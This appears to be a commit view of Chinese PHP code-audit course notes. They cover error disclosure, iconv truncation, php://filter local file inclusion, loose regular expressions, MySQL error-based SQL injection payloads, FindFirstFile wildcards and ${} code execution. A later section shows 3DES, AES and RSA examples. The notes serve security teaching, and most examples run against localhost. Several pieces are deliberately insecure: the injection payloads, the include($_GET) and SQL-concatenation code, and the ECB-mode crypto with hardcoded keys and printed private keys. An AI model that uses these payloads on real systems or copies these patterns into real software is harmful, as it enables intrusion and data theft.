- 要显示错误信息需要打开在PHP配置文件 php.ini 中设置 display_errors = on 或者在代码中加入error_reporting()函数
- 其中最常用的是E_ALL、E_WARNING、E_NOTICE
- E_ALL代表提示所有问题, E_WARNING代表显示错误信息E_NOTICE则是显示基础提示信息。
trim ()函数对用户名等值去掉两边的空格,这时候如果我们传入的用户名参数是一个数组,则程序就会报错,测试代码:
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
error_reporting(E_ALL);
echo "利用报错信息举例:"."<br />";
echo trim($_GET['a']);//当输入?a[]=test时程序报错
?>
```
```
http://localhost/2020CodeAudit/c8/8-2-1-trim-error.php?a[]=test
```
结果:
```
利用报错信息举例:
Notice: Array to string conversion in C:\autit\www\2020CodeAudit\C8\8-2-1-trim-error.php on line 6
Array
```
## 2.2. iconv函数字符编码转换截断
- iconv()函数用来做字符编码转换;
- 比如从UTF-8转换到GBK字符集的编码转换总会存在一定的差异性导致部分编码不能被成功转换也就是出现常说的乱码。
- 在使用iconv()函数转码的时候,当遇到不能处理的字符串则后续字符串会不被处理
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "iconv()函数使用举例:"."<br />";
//chr() 函数从指定的 ASCII 值返回字符。
/*
ASCII码
数字 32126 分配给了能在键盘上找到的字符当您查看或打印文档时就会出现。注十进制32代表空格 ,十进制数字 127 代表 DELETE 命令。
ASCII 表上的数字 031 分配给了控制字符,用于控制像打印机等一些外围设备
扩展的 ASCII 包含 ASCII 中已有的 128 个字符,又增加了 128 个字符,总共是 256 个。
*/
$a = '1' . chr(130) . '2';
echo $a;
echo '<br />';
echo iconv("UTF-8","gbk",$a);
?>
```
```
http://localhost/2020CodeAudit/c8/8-2-2-2-iconv.php
```
结果:
```
iconv()函数使用举例:
1<EFBFBD>2
1
```
通过这里例子可以看到转换后的字符串被切断了。149页的漏洞就是利用iconv这个特点可以上传任意类型的文件。
# 3. [php://输入输出流](https://www.php.net/manual/zh/wrappers.php.php)
- PHP提供了php://的协议允许访问 PHP的输入输出流、标准输入输出和错误描述符
- 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
151 页:
## 3.1. php://input
- 可以访问请求的原始数据的只读流。
- 即可以直接读取到POST没有经过解析的原始数据, 但是php://input不能以获取“multipart/form-data”方式提交的数据。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "php://input使用举例"."<br />";
echo file_get_contents("php://input");
?>
```
```
http://localhost/2020CodeAudit/c8/8-3-phpinput.php
```
![image-20251030153450203](img/image-20251030153450203.png)
## 3.2. php://output和php://filter
- php://output将流数据输出
- php://filter是一个文件操作的协议可以对磁盘中的文件进行读写操作效果类似 于readfile()、file()和file_get_contents()
| 名 称 | 描 述 |
| ------------------------- | ------------------------------------------------------------ |
| resource=<要过滤的数据流> | 该参数是必须的。它指定了你要筛选过滤的数据流 |
| read=<读链的筛选列表> | 该参数可选,可以设定一个或多个过滤器名称,以管道符(\|) 分隔 |
| write=<写链的筛选列表> | 该参数可选,可以设定一个或多个过滤器名称,以管道符(\|) 分隔 |
| <;两个链的筛选列表> | 任何没有以read=或write=作前缀的筛选器列表会视情况应 用于读或写链 |
### 3.2.1. php://filter写文件
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "php://filter使用举例"."<br />";
//ROT13是一种简易的替换式密码。
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello world123");
?>
```
```
http://localhost/2020CodeAudit/c8/8-3-phpfilter-1.php
```
```file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello world123");```会向脚本同目录下写入“example.txt”文件内容为rot13编码过的“Hello World123”
```
Uryyb jbeyq123
```
### 3.2.2. php://filter读文件
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "php://filter使用举例2"."<br />";
//输入?f=php://filter/convert.base64-encode/resource=1.php
include($_GET['f']);
?>
```
```
http://localhost/2020CodeAudit/c8/8-3-phpfilter-2.php?f=php://filter/convert.base64-encode/resource=1.php
```
结果:
```
php://filter使用举例2
PD9waHANCglwaHBpbmZvKCk7DQo/Pg==
```
相当于使用 base64 对 1.php 文件进行编码,其结果被包含到输出流中。
如果是:
```
http://localhost/2020CodeAudit/c8/8-3-phpfilter-2.php?f=1.php
```
就会包含1.php中的内容如果有php代码就会执行。
# 4. PHP代码解析标签
PHP有几种解析标签的写法来标识PHP代码
- 脚本标签:```<script language="php">...< /script>```从PHP7开始不支持该写法
- 短标签:```< ? ... ?>``` 需要在php.ini中设置```short_open_tags=On```
- asp标签```<% ...%>``` 需要在php.ini中设置```asp_tags=On```
```php
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PHP代码解析标签使用举例</title>
</head>
<body>
<!--<? phpinfo(); ?>-->
<!--<script language="php">phpinfo()</script>-->
<% phpinfo(); %>
</body>
</html>
```
```
http://localhost/2020CodeAudit/c8/8-4-php-tag.php
```
请查看 php 配置。
# 5. fuzz漏洞发现
- fuzz指的是对特定目标的模糊测试
- 当我们用Office Word打开doc文档的时候Word软件会按照指定的格式读取文件的内容
- 如果文件格式出现异常字符Word无法解析而又没有提前捕捉到这种类型的错误则有可能引发Word程序崩溃这就是一个bug
- 这时候我们就可以通过工具生成大量带有异常格式或者字符的doc文档然后调用Word程序去读取尝试发现更多的bug。
书上 154 页
# 6. 不严谨的正则表达式
正则表达式也跟程序语言一样,规则写得不严谨,就会导致安全问题产生
## 6.1. 没有使用^和$限定匹配开始/结束位置
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo '不严谨的正则表达式,没有使用^和$限定开始结束位置:'."<br />";
// $ip = $_SERVER['HTTP_CLIENT_IP'];
// $ip = urldecode('127.0.0.1');
$ip = urldecode('127.0.0.1zzz');
echo $ip."<br />";
//if(preg_match('/\d+\.\d+\.\d+\.\d+/',$ip)){
if(preg_match('/^\d+\.\d+\.\d+\.\d+$/',$ip)){
echo $ip;
}
?>
```
```
http://localhost/2020CodeAudit/c8/8-6-pregrematch-1.php
```
```'/\d+\.\d+\.\d+\.\d+/'```没有限定开始和结束因此只要包含了合法IP地址的字符串都可以通过验证```'/^\d+\.\d+\.\d+\.\d+$/'```规定了开始和结束必须为数字。
## 6.2. 特殊字符未转义
在正则表达式里,所有能被正则表达式引擎解析的字符都算是特殊字符,而在匹配这些字符的原字符时需要使用反斜杠(\)来进行转义,如果不进行转义,像样英文句号(.)则可用来表示任何字符,存在安全隐患
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "不严谨的正则表达式,特殊字符未转义:"."<br />";
$filename = urldecode('xxx.php%00jpg');
if(preg_match('/.(jpg|gif|png|bmp)$/i',$filename)){
file_put_contents($filename,'aaa111');
}
else{
echo '不允许的文件扩展名';
}
?>
```
```
http://localhost/2020CodeAudit/c8/8-6-pregrematch-2.php
```
# 7. 十余种MySQL报错注入
- SQL Server利用的是convert()和cast()函数
- MySQL的报错 SQL注入方式更多不过多数人以为只有三种floor()、updatexml()以及 extractvalue()这三个函数,
- 但实际上还有很多个函数都会导致MySQL报错并且显示出数据它们分别是
- GeometryCollection(),
- polygon()、
- GTID_SUBSET()、
- multipoint()、
- multilinestring()、
- multipolygon()、
- LINESTRING()、
- exp()
```php
<?php
/*
id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x)a)
id=1 and (extractvalue(1,concat(0x5c,(select user()))))
id=1 and (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
id=1 and GeometryCollection((select * from(select * from(select user())a)b))
id=1 and polygon((select * from(select * from(select user())a)b))
id=1 and multipoint((select * from(select * from(select user())a)b))
id=1 and multilinestring((select * from(select * from(select user())a)b))
id=1 and multipolygon((select * from(select * from(select user())a)b))
id=1 and linestring((select * from(select * from(select user())a)b))
id=1 and EXP(~(select * from(select user())a))
*/
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "test";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$uid = $_GET['id'];
$sql = "SELECT * FROM userinfo where id=$uid";
$result = $conn->query($sql);
print_r('当前SQL语句' . $sql . '<br />结果:');
// var_dump($result);
if ($result->num_rows > 0) {//返回结果集中行的数量。
// 输出每行数据
while($row = $result->fetch_assoc()) {//从结果集中取得一行作为关联数组。
var_dump($row);
}
} else {
echo mysqli_error($conn);
}
//$result->free();
$conn->close();
?>
```
```
http://localhost/2020CodeAudit/c8/8-7-SQL.php? id=1 and (updatexml(1, concat(0x5e24,(select user()),0x5e24),1))
```
结果:
```
Warning: mysqli::mysqli() [mysqli.mysqli]: (28000/1045): Access denied for user 'root'@'localhost' (using password: YES) in C:\autit\www\2020CodeAudit\C8\8-7-SQL.php on line 29
连接失败: Access denied for user 'root'@'localhost' (using password: YES)
```
注意mysql版本不同报错可能不同。
# 8. Windows FindFirstFile 利用
- 在Windows下时只需要知道文件所在目录然后利用Windows的特性就可以访问到文件
- 这是因为 Windows在搜索文件的时候使用到了 FindFirstFile这一个winapi函数
- 该函数到一个文件夹(包括子文件夹)去搜索指定文件。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "Windows FindFirstFile函数利用举例"."<br />";
include($_GET['file']);
?>
```
12.txt 文件
```php
<?php
phpinfo();
?>
```
```
http://localhost/2020CodeAudit/c8/8-8-findfirstfile.php?file=12.txt
http://localhost/2020CodeAudit/c8/8-8-findfirstfile.php?file=1<.txt
http://localhost/2020CodeAudit/c8/8-8-findfirstfile.php?file=1<<
```
很多函数都有这个特性162 页。
| 函 数 | 功 能 | 函 数 | 功 能 |
| -------------------- | -------- | -------------------- | ---------- |
| include() | 包含文件 | file_put_contents() | 写入文件 |
| include_once() | 包含文件 | mkdir() | 创建文件夹 |
| require() | 包含文件 | tempnam() | 创建文件 |
| require_once() | 包含文件 | touch() | 创建文件 |
| fopen() | 打开文件 | move_uploaded_file() | 移动文件 |
| ziparchive: :open() | 打开文件 | opendir() | 文件夹操作 |
| copy() | 复制文件 | readdir() | 文件夹操作 |
| f ile_get_contents() | 读取文件 | rewinddir() | 文件夹操作 |
| parse_ini_file() | 读取文件 | closedir() | 文件夹操作 |
| readfile() | 读取文件 | | |
# 9. PHP可变变量
- 部分PHP应用在写配置文件或者使用preg_replace()函数第二个参数赋值变量时,会用到双引号(")来代表string类型给变量赋值
- 在PHP语言中单引号和双引号是有区别的单引号代表纯字符串而双引号则是会解析中间的变量所以当使用双引号时会存在代码执行漏洞
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
error_reporting(E_ALL);
echo "PHP可变变量举例"."<br />";
$a = 'seay';
$$a = '123';
echo $seay;
?>
```
部分PHP应用在写配置文件或者使用preg_replace()函数第二个参数赋值变量时,会用到双引号(")来代表string类型给变量赋值
在PHP语言中单引号和双引号是有区别的单引号代表纯字符串而双引号则是会解析中间的变量所以当使用双引号时会存在代码执行漏洞。
“@”符号是必须存在的除了@符号还有其他的写法也一样可以。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
error_reporting(E_ALL);
echo "PHP可变变量-phpinfo的用法举例"."<br />";
//以下八条语句都可以执行phpinfo
//$a = "${@phpinfo()}";
//$a = "${ phpinfo()}";
$a = "${ phpinfo()}";
//$a = "${/**/phpinfo()}";
// $a = "${
// phpinfo()}";
//$a = "${+phpinfo()}";
// $a = "${-phpinfo()}";
// $a = "${!phpinfo()}";
?>
```
```php
http://localhost/2020CodeAudit/c8/8-9-phpinfo.php
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

@ -0,0 +1,9 @@
- 要打造安全的应用程序,要从业务功能的设计开始
- 验证码、用户登录、用户注册、密码找回、资料操作、投票、积分、抽奖、充值支付、私信反馈、文件管理、 数据库管理以及命令执行等功能容易出现安全问题
# 验证码
- 验证码有图片验证码、滑动验证码、短信/邮箱/电话、二维码等分类
- 而据保守估计起码有80%以上的验证码是存在可以爆破和简单识别的问题,设计一个有效的验证码尤为重要
## 验证码不刷新导致直接绕过

@ -0,0 +1,313 @@
- [1. 对称加密](#1-对称加密)
- [1.1. 国密算法SM系列](#11-国密算法sm系列)
- [1.2. 3DES 加密](#12-3des-加密)
- [1.3. AES 加密](#13-aes-加密)
- [1.4. RSA加密](#14-rsa加密)
- [1.5. 单向加密](#15-单向加密)
加密是指将明文直接可见的数据以特定的算法进行混淆,以保证数据的安全掩蔽性常见的加密算法可以分为对称加密、非对称加密以及单向加密(哈希算法)
# 1. 对称加密
- 对称加密指的是采用单密钥进行加密,并且该密钥可以对数据进行加密和解密处理
- 目前这类加密算法安全性均比较高,数据的实际安全性取决于密钥的管理
- 常用的算法有DES、3DES、TDEA、Blowfish、RC2、RC4、RC5、IDEA、SKIPJACK、AES 等
## 1.1. 国密算法SM系列
- 国密算法是国家密码管理局制定标准的一系列算法。
- SM1对称加密算法加密强度为128位采用硬件实现
- SM2非对称算法椭圆曲线公钥密码其加密强度为256位
- SM3密码杂凑哈希算法杂凑值长度为32字节
- SM4对称加密算法可使用软件实现加密强度为128位。
- SM7对称加密算法加密强度为128位SM9标识密码算法非对称
## 1.2. 3DES 加密
- 在 php.ini 中打开 php_mcrypt.dll 以及php_mcrypt_filter.dll 两个lib库的引用
- 即去掉代码前面的分号;
- extension=php_mcrypt.dll;
phpinfo 中会有对应的显示
![image-20251030174105509](img/image-20251030174105509.png)
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP使用3DES加密算法举例"."<br />";
class Crypt3Des{
public $key = "123456789";//加密密钥
function Crypt3Des($key){
$this->key=$key;
}
//加密函数
function encrypt($input){
$size = mcrypt_get_block_size(MCRYPT_3DES,'ecb');
$input = $this->pkcs5_pad($input,$size);
$key = str_pad($this->key,24,'0');
$td = mcrypt_module_open(MCRYPT_3DES,'','ecb','');
$iv = @mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
@mcrypt_generic_init($td, $key, $iv);
$data = mcrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
// var_dump($data);
// exit();
$data = base64_encode($data);
return $data;
}
//解密函数
function decrypt($encrypted){
$encrypted = base64_decode($encrypted);
$key = str_pad($this->key,24,'0');
$td = mcrypt_module_open(MCRYPT_3DES,'','ecb','');
$iv = @mcrypt_create_iv(mcrypt_enc_get_iv_size($td),MCRYPT_RAND);
$ks = mcrypt_enc_get_key_size($td);
@mcrypt_generic_init($td, $key, $iv);
$decrypted = mdecrypt_generic($td, $encrypted);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$y=$this->pkcs5_unpad($decrypted);
return $y;
}
function pkcs5_pad($text, $blocksize){
$pad = $blocksize - (strlen($text) % $blocksize);
return $text . str_repeat(chr($pad), $pad);
}
function pkcs5_unpad($text){
$pad = ord($text{strlen($text)-1});
if ($pad > strlen($text)) {
return false;
}
if (strspn($text, chr($pad), strlen($text) - $pad) != $pad){
return false;
}
return substr($text,0,-1*$pad);
}
function PaddingPKCS7($data){
$block_size = mcrypt_get_block_size(MCRYPT_3DES, MCRYPT_MODE_CBC); $padding_char = $block_size - (strlen($data) % $block_size);
$data .= str_repeat(chr($padding_char), $padding_char);
return $data;
}
}
//使用方法很简单,只要实例化这个类,直接调用相应函数即可,如下所示:
$rep=new Crypt3Des('123456789');
$input="hello 3des";
echo "原文:" . $input . "<br />";
$encrypt_card = $rep->encrypt($input);
echo "加密:" . $encrypt_card . "<br />";
echo "解密:" . $rep->decrypt($rep->encrypt($input));
?>
```
```
http://localhost/2020CodeAudit/c10/10-1-1-3des.php
```
结果:
```
PHP使用3DES加密算法举例
原文hello 3des
加密o9f/220Jb4GFSTHV9NL7mQ==
解密hello 3des
```
## 1.3. AES 加密
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP使用AES加密算法举例"."<br />";
class Aes{
public $_secrect_key='123456789';//密钥
function Aes($key){
$this->_secrect_key = $key;
}
/**
* 加密方法
* @param string $str
* return string
*/
function encrypt($str){
//AES, 128 ECB 模式加密数据
$screct_key = $this->_secrect_key;
$screct_key = base64_decode($screct_key);
$str = trim($str);
$str = $this->addPKCS7Padding($str);
$iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_ECB),MCRYPT_RAND);
$encrypt_str = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$screct_key,$str,MCRYPT_MODE_ECB, $iv);
return base64_encode($encrypt_str);
}
/**解密方法
* @param string $str
* @return string
*/
function decrypt($str){
//AES, 128 ECB 模式加密数据
$screct_key = $this->_secrect_key;
$str = base64_decode($str);
$screct_key = base64_decode($screct_key);
$iv = mcrypt_create_iv (mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_ECB),MCRYPT_RAND);
$encrypt_str = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$screct_key,$str, MCRYPT_MODE_ECB,$iv);
$encrypt_str = trim($encrypt_str);
$encrypt_str = $this->stripPKSC7Padding($encrypt_str);
return $encrypt_str;
}
/**填充算法
* @param string $source
* @return string
*/
function addPKCS7Padding($source){
$source = trim($source);
$block = mcrypt_get_block_size('rijndael-128', 'ecb');
$pad = $block - (strlen($source) % $block);
if ($pad <= $block){
$char = chr($pad);
$source .= str_repeat($char,$pad);
}
return $source;
}
/**移去填充算法
* Qparam string $source
* return string
*/
function stripPKSC7Padding($source){
$source = trim($source);
$char = substr($source,-1);
$num = ord($char);
if($num==62) return $source;
$source = substr($source,0,-$num);
return $source;
}
}
//这个加密类使用起来也相当简单:
$rep=new Aes('123456789');
$input="hello aes";
echo "原文:" . $input. "<br />";
$encrypt_card=$rep->encrypt($input);
echo "加密:" . $encrypt_card. "<br />";
echo "解密:" . $rep->decrypt($rep->encrypt($input));
?>
```
```
http://localhost/2020CodeAudit/c10/10-1-2-aes.php
```
结果:
```
PHP使用AES加密算法举例
原文hello aes
加密108Ts7vcLcvkhfDv1PgIMA==
解密hello aes
```
## 1.4. RSA加密
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP生成RSA密钥"."<br />";
set_time_limit(0);
include("./Crypt/RSA.php");
$rsa = new Crypt_RSA();
extract($rsa->createKey());
echo "$privatekey" . '<br />' . "$publickey";
?>
```
```
http://localhost/2020CodeAudit/c10/phpseclib/10-2-generateRSAkey.php
```
```
PHP生成RSA密钥
-----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQDVPFtEVTY/ANoohAq3k5VrRJuQpQbcd7lq5dFgPm3Rkkvi31nG zGVm4BKjice3HYX82aT+dbzV/B4AoHcGwarbT0cRL5Pl12x4vFRFevC/NU7fES4z WRRar4ZSY+iBKxDJuMkvXsrAWo3LLRWj+aJHKZ9pUZHJmD2Aqysm+6rWEQIDAQAB AoGAXvOsdGY5bJ61hnsdxpc6XvTDDQrfXkcV0ssZi/DguAScNB9e+85CjSfUROxy eVD1PB2ygfjtqJ/GwGKz/dc5e/SpFGBJGjPMwqElHsXhHUMbai8rODJQ9Fp1HOy/ shLM3rsVMPcG3tQYIbq23fp46xrtTN2LH6pRp8qRHUsQP5ECQQD0sHZRK19gFyCn FZzqULuQrimJZhHAszVYwUmTuCJqKGDILkScSjNlnGPe1ZMcin4R8Np6gy2lJRPN x6A+BDfFAkEA3xewISSq82G+hqMFsyCR7T0E2AJQcWlygTAmFl7AHvbV6K87rEQX +rumG39ncUz3a4X2P50GRh8rjbhfYNX93QJAJWc8DthUcfnXEfNp0x+YLFuTGd+y YwSB6RlSx/PjvtqBQNhhwIpPJP8s/Qkkvb4l21Q38XZP6eirCE+1nQVECQJAbzl+ JGgFmuXmeXWZh977Ig5D9fXhaUmrPuFke86tdkKWDzYeSBqC4gzgGeGBDynSSRc2 2CxPTnKH4lZDpyHJOQJBANMqS0nTJQ1tNRBvGybAT6fkIkcyZFATqqJy77Z3BbAP N2ox9li4mxXQsN32cY5U1DanGGjfjfsX0twYQ0igzbs= -----END RSA PRIVATE KEY-----
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDVPFtEVTY/ANoohAq3k5VrRJuQ pQbcd7lq5dFgPm3Rkkvi31nGzGVm4BKjice3HYX82aT+dbzV/B4AoHcGwarbT0cR L5Pl12x4vFRFevC/NU7fES4zWRRar4ZSY+iBKxDJuMkvXsrAWo3LLRWj+aJHKZ9p UZHJmD2Aqysm+6rWEQIDAQAB -----END PUBLIC KEY-----
```
用 $rsa->encrypt($plaintext);函数用来加密用 $rsa->decrypt($ciphertext) 来解密并输出明文字符串“cuit.edu.cn"
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP RSA加解密示例"."<br />";
set_time_limit(0);
$PUBLIC_KEY = '-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCG2OewYkM9hQOJdthogOoj+8HO rJiZ+HXw8C3wbeu4cDcz0P/XgqneyfXpEFadEanRlCRySzAlz0ki7xI0lhFzqw1K OmsUTaOCrtGMsDFQ72io6Ln98hbqFnS3Pc8S0DhYAHrdvFmUyh/QcRJrWRbcQsV4 sG1ThpqjzwTgJLhYjwIDAQAB -----END PUBLIC KEY-----';
$PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQCG2OewYkM9hQOJdthogOoj+8HOrJiZ+HXw8C3wbeu4cDcz0P/X gqneyfXpEFadEanRlCRySzAlz0ki7xI0lhFzqw1KOmsUTaOCrtGMsDFQ72io6Ln9 8hbqFnS3Pc8S0DhYAHrdvFmUyh/QcRJrWRbcQsV4sG1ThpqjzwTgJLhYjwIDAQAB AoGAFW+oDnvjE4Wwb8BNm6ND//oMBPZJVfn6NGsslQgW951txmtxgvQPBqRqq/pA bTylwclqgnlzCyJTY93HB5wEOaDjJBSa/niHyRVnPQM51eIlNAmE18Lq77V/2QXh eL/fjmLc8MSjvfdbHJd/de4UewXE0N9fhc/TFXhqqtO1+X0CQQCKsYYmdDj2mkpy VZs/1Zn4xysocjw3OBp7dDG4Zihzik07qdLDmx9skFyxsMVw6igIPuIPvrbf1fLf SotKaHfDAkEA+OaXytfOwAYUbOqwbeJfigXDSjAgpqzU4LqmM3PeFGFSCgRShlJy lhypxYPb2tJaR3JWUzhPuyl0oJ4Wbe+bRQJASGMBLj7IoETFCEmP3tBALWzeJJ0C uptIjxiE/sYq5KrRRouLGlZzHzl1d7RYSGed/ze6yxbx4X+L5GjGrE47+wJAVeKL wiyRZOU0KxkYY/JW8TNn3bOZsKm2kw0UyHBU00d5nYc8SqksbOvbERKczHcFO94S N4kYygZV/g5OwwSI2QJAdGV4N43bK6DwWcpvAVD/KTlprvGUdHHol5Pe8CtipMr9 oE9qljXzppyzS9vVrf+6KtTDgIIivosxnrHHPyIOmQ== -----END RSA PRIVATE KEY-----';
include('./Crypt/RSA.php');
$rsa = new Crypt_RSA();
$rsa->loadKey($PUBLIC_KEY) ; // 载入公钥
$plaintext = 'cuit.edu.cn';
$rsa->setEncryptionMode(CRYPT_RSA_ENCRYPTION_PKCS1);
$ciphertext = $rsa->encrypt($plaintext);//加密函数
$rsa->loadKey($PRIVATE_KEY) ; // 载入私钥
echo $ciphertext."<br /> "."<br />"."<br /> ";
echo $rsa->decrypt($ciphertext);//解密函数
?>
```
```
http://localhost/2020CodeAudit/c10/phpseclib/10-2-RSAdecode.php
```
运行结果
```
PHP RSA加解密示例
2<EFBFBD>Ȁ-<2D><><EFBFBD><01><><0E><><EFBFBD><EFBFBD><EFBFBD>:<3A>[<5B><> 'Er0<13>p<EFBFBD><70><EFBFBD><17><1A>Fc<46><63>, <20><><EFBFBD>Ә<EFBFBD><D398>?v<>H.r$9<>?<3F>@,<2C><>-<2D><><EFBFBD>- !ި<>Z<EFBFBD><5A><<<05><><EFBFBD>e<1B><>\<5C>%x
cuit.edu.cn
```
## 1.5. 单向加密
MD系列(md4、md5) 和shal等
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP使用MD5和sha1加密算法举例"."<br />";
echo 'phpsec md5: '.md5('xinan');
echo '<br /> ';
echo 'phpsec sha1: '.sha1('xinan');
?>
```
```
http://localhost/2020CodeAudit/c10/10-3-md5.php
```
结果:
```
PHP使用MD5和sha1加密算法举例
phpsec md5: d71e1f2ea8307656a8a02136116e1b7b
phpsec sha1: 28c2e7fbf2f6f121a2643d620424b6f9bf6b8d10
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

Loading…
Cancel
Save